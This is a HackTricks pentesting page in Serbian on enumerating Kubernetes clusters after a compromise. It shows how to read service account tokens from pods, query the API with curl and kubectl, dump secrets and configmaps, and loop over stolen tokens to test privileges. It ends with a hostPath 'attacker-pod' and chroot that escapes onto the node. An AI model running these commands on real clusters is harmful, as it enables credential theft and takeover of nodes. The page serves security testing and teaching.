hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

Kubernetes Enumeration

{{#include ../../banners/hacktricks-training.md}}

Kubernetes Tokens

Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kubernetes platformi. Token se obično nalazi u datoteci na koju ukazuje env var KUBECONFIG ili unutar ~/.kube.

U ovoj fascikli možete pronaći konfiguracione datoteke sa tokenima i konfiguracijama za povezivanje sa API serverom. U ovoj fascikli takođe možete pronaći fasciklu sa kešom sa informacijama prethodno preuzetim.

Ako ste kompromitovali pod unutar kubernetes okruženja, postoje i druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:

Service Account Tokens

Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem da pratite ovu vezu i pročitate barem informacije o Kubernetes arhitekturi.

Uzimajući iz Kubernetes dokumentacije:

“Kada kreirate pod, ako ne navedete servisni nalog, automatski se dodeljuje default servisni nalog u istoj imenskoj oblasti.”

ServiceAccount je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta procesima koji se izvršavaju u podu.
Svaki servisni nalog ima tajnu povezanu sa njim i ova tajna sadrži nosilac tokena. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje zahteva između dve strane.

Obično jedna od fascikli:

• /run/secrets/kubernetes.io/serviceaccount
• /var/run/secrets/kubernetes.io/serviceaccount
• /secrets/kubernetes.io/serviceaccount

sadrži datoteke:

• ca.crt: To je ca sertifikat za proveru kubernetes komunikacija
• namespace: Ukazuje na trenutnu imensku oblast
• token: Sadrži servisni token trenutnog poda.

Sada kada imate token, možete pronaći API server unutar promenljive okruženja KUBECONFIG. Za više informacija pokrenite (env | set) | grep -i "kuber|kube"

Token servisnog naloga se potpisuje ključem koji se nalazi u datoteci sa.key i validira se pomoću sa.pub.

Podrazumevana lokacija na Kubernetes:

• /etc/kubernetes/pki

Podrazumevana lokacija na Minikube:

• /var/lib/localkube/certs

Hot Pods

Hot pods su podovi koji sadrže privilegovan token servisnog naloga. Privilegovani token servisnog naloga je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd.

RBAC

Ako ne znate šta je RBAC, pročitajte ovu sekciju.

GUI Applications

• k9s: GUI koji enumeriše kubernetes klaster iz terminala. Proverite komande na https://k9scli.io/topics/commands/. Napišite :namespace i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima.
• k8slens: Nudi nekoliko besplatnih probnih dana: https://k8slens.dev/

Enumeration CheatSheet

Da biste enumerisali K8s okruženje, potrebni su vam neki od ovih:

• validan autentifikacioni token. U prethodnoj sekciji smo videli gde da tražimo korisnički token i token servisnog naloga.
• adresa (https://host:port) Kubernetes API. Ovo se obično može pronaći u promenljivim okruženja i/ili u kube konfiguracionoj datoteci.
• Opcionalno: ca.crt za verifikaciju API servera. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem --insecure-skip-tls-verify sa kubectl ili -k sa curl vam neće biti potrebno.

Sa tim detaljima možete enumerisati kubernetes. Ako je API iz nekog razloga dostupan putem Interneta, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.

Međutim, obično je API server unutar interne mreže, stoga ćete morati da napravite tunel kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete otpremiti kubectl binarni fajl, ili koristiti curl/wget/anything za izvođenje sirovih HTTP zahteva ka API serveru.

Razlike između list i get glagola

Sa get dozvolama možete pristupiti informacijama o specifičnim resursima (describe opcija u kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Ако имате list дозволу, можете да извршавате API захтеве за листање типа имовине (get опција у kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Ako imate watch dozvolu, dozvoljeno vam je da izvršavate API zahteve za praćenje resursa:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Oni otvaraju streaming vezu koja vam vraća puni manifest jednog Deployment-a svaki put kada se promeni (ili kada se kreira novi).

Caution

Sledeće kubectl komande pokazuju samo kako da se navedu objekti. Ako želite da pristupite podacima, morate koristiti describe umesto get

Korišćenje curl-a

Iz unutrašnjosti poda možete koristiti nekoliko env varijabli:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Warning

Pod može pristupiti kube-api serveru u imenskom prostoru kubernetes.default.svc i možete videti kube mrežu u /etc/resolv.config jer ćete ovde pronaći adresu kubernetes DNS servera (".1" iste opsega je kube-api krajnja tačka).

Korišćenje kubectl

Imajući token i adresu API servera, koristite kubectl ili curl za pristup kao što je ovde naznačeno:

Podrazumevano, APISERVER komunicira sa https:// shemom.

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

ako nema https:// u URL-u, možete dobiti grešku poput Bad Request.

Možete pronaći službeni kubectl cheatsheet ovde. Cilj sledećih sekcija je da predstavi različite opcije za enumeraciju i razumevanje novog K8s na koji ste dobili pristup.

Da biste pronašli HTTP zahtev koji kubectl šalje, možete koristiti parametar -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Trenutna Konfiguracija

{{#tabs }} {{#tab name="Kubectl" }}

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

{{#endtab }} {{#endtabs }}

Ako ste uspeli da ukradete neke korisničke akreditive, možete ih konfigurisati lokalno koristeći nešto poput:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Dobijte podržane resurse

Sa ovom informacijom ćete znati sve usluge koje možete navesti

{{#tabs }} {{#tab name="kubectl" }}

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

{{#endtab }} {{#endtabs }}

Dobijanje trenutnih privilegija

{{#tabs }} {{#tab name="kubectl" }}

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

{{#endtab }}

{{#tab name="API" }}

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

{{#endtab }} {{#endtabs }}

Još jedan način da proverite svoje privilegije je korišćenje alata: https://github.com/corneliusweig/rakkess****

Možete saznati više o Kubernetes RBAC u:

{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}

Kada znate koje privilegije imate, proverite sledeću stranicu da biste utvrdili da li ih možete zloupotrebiti za eskalaciju privilegija:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}

Dobijanje uloga drugih

{{#tabs }} {{#tab name="kubectl" }}

k get roles
k get clusterroles

{{#endtab }}

{{#tab name="API" }}

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

{{#endtab }} {{#endtabs }}

Dobijanje imena prostora

Kubernetes podržava više virtuelnih klastera koji se oslanjaju na isti fizički klaster. Ovi virtuelni klasteri se nazivaju imena prostora.

{{#tabs }} {{#tab name="kubectl" }}

k get namespaces

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/

{{#endtab }} {{#endtabs }}

Dobijanje tajni

{{#tabs }} {{#tab name="kubectl" }}

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

{{#endtab }} {{#endtabs }}

Ako možete da pročitate tajne, možete koristiti sledeće linije da dobijete privilegije povezane sa svakim tokenom:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Dobijanje servisnih naloga

Kao što je pomenuto na početku ove stranice kada se pod pokrene, obično mu se dodeljuje servisni nalog. Stoga, listanje servisnih naloga, njihovih dozvola i gde se pokreću može omogućiti korisniku da eskalira privilegije.

{{#tabs }} {{#tab name="kubectl" }}

k get serviceaccounts

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

{{#endtab }} {{#endtabs }}

Dobijanje Deployments

Deployments definišu komponente koje treba pokrenuti.

{{#tabs }} {{#tab name="kubectl" }}

k get deployments
k get deployments -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

{{#endtab }} {{#endtabs }}

Preuzmi Podove

Podovi su stvarni kontejnere koji će raditi.

{{#tabs }} {{#tab name="kubectl" }}

k get pods
k get pods -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

{{#endtab }} {{#endtabs }}

Dobijanje usluga

Kubernetes usluge se koriste za izlaganje usluge na određenom portu i IP (koji će delovati kao balansirnik opterećenja za podove koji zapravo nude uslugu). Ovo je zanimljivo znati gde možete pronaći druge usluge koje možete pokušati da napadnete.

{{#tabs }} {{#tab name="kubectl" }}

k get services
k get services -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

{{#endtab }} {{#endtabs }}

Dobijanje čvorova

Dobijte sve čvorove konfigurisane unutar klastera.

{{#tabs }} {{#tab name="kubectl" }}

k get nodes

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/nodes/

{{#endtab }} {{#endtabs }}

Dobijanje DaemonSets

DaemonSets omogućava da se osigura da određeni pod radi na svim čvorovima klastera (ili na odabranim čvorovima). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.

{{#tabs }} {{#tab name="kubectl" }}

k get daemonsets

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

{{#endtab }} {{#endtabs }}

Dobijanje cronjob-a

Cron poslovi omogućavaju zakazivanje pokretanja poda koji će izvršiti neku radnju koristeći crontab sintaksu.

{{#tabs }} {{#tab name="kubectl" }}

k get cronjobs

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

{{#endtab }} {{#endtabs }}

Preuzmi configMap

configMap uvek sadrži mnogo informacija i konfiguracionih fajlova koji se pružaju aplikacijama koje rade u kubernetesu. Obično možete pronaći mnogo lozinki, tajni, tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima.

{{#tabs }} {{#tab name="kubectl" }}

k get configmaps # -n namespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

{{#endtab }} {{#endtabs }}

Dobijanje mrežnih politika / Cilium mrežnih politika

{{#tabs }} {{#tab name="Prva kartica" }}

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

{{#endtab }} {{#endtabs }}

Узми све / Све

{{#tabs }} {{#tab name="kubectl" }}

k get all

{{#endtab }} {{#endtabs }}

Dobijte sve resurse koje upravlja helm

{{#tabs }} {{#tab name="kubectl" }}

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

{{#endtab }} {{#endtabs }}

Dobijanje potrošnje Podova

{{#tabs }} {{#tab name="kubectl" }}

k top pod --all-namespaces

{{#endtab }} {{#endtabs }}

Bekstvo iz poda

Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, prebacite se na kreirani pod i zatim chroot u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, jer prikazuju postojeće slike i putanje.

kubectl get pod <name> [-n <namespace>] -o yaml

ako treba da kreirate pod na specifičnom čvoru, možete koristiti sledeću komandu da dobijete oznake na čvoru

k get nodes --show-labels

Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su sve dobre oznake za selektovanje.

Zatim kreirate svoj attack.yaml fajl

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Nakon toga kreirate pod

kubectl apply -f attacker.yaml [-n <namespace>]

Sada možete preći na kreirani pod na sledeći način

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

I konačno se chroot-ujete u sistem čvora

chroot /root /bin/bash

Information obtained from: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

References

{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}

{{#include ../../banners/hacktricks-training.md}}